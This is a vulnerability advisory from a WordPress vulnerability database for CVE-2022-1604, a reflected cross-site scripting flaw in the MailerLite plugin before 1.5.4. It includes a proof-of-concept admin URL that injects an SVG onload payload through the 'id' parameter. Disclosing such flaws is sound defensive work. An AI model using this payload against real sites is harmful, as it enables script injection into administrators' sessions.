WordPress Plugin Vulnerabilities

MailerLite < 1.5.4 - Reflected Cross-Site Scripting

Description

The plugin does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting

Proof of Concept

The first digit of the ID must be an existing form ID

https://example.com/wp-admin/admin.php?page=mailerlite_main&view=edit&id=1%22%3Eaaaa%3Csvg%2Fonload%3Dprompt%281%29%3E

Affects Plugins

Plugin icon
official-mailerlite-sign-up-forms
Fixed in 1.5.4

References

CVE
CVE-2022-1604

Classification

Type
XSS
OWASP top 10
A7: Cross-Site Scripting (XSS)
CWE
CWE-79
CVSS
6.1 (medium)

Miscellaneous

Original Researcher
Utkarsh Agrawal
Submitter
Utkarsh Agrawal
Submitter website
https://smart7.in
Submitter twitter
agrawalsmart7
Verified
Yes
WPVDB ID
557c1c49-7195-4085-b67a-9fd8aca57845

Timeline

Publicly Published
2022-05-18 (about 2 years ago)
Added
2022-05-18 (about 2 years ago)
Last Updated
2022-05-19 (about 2 years ago)

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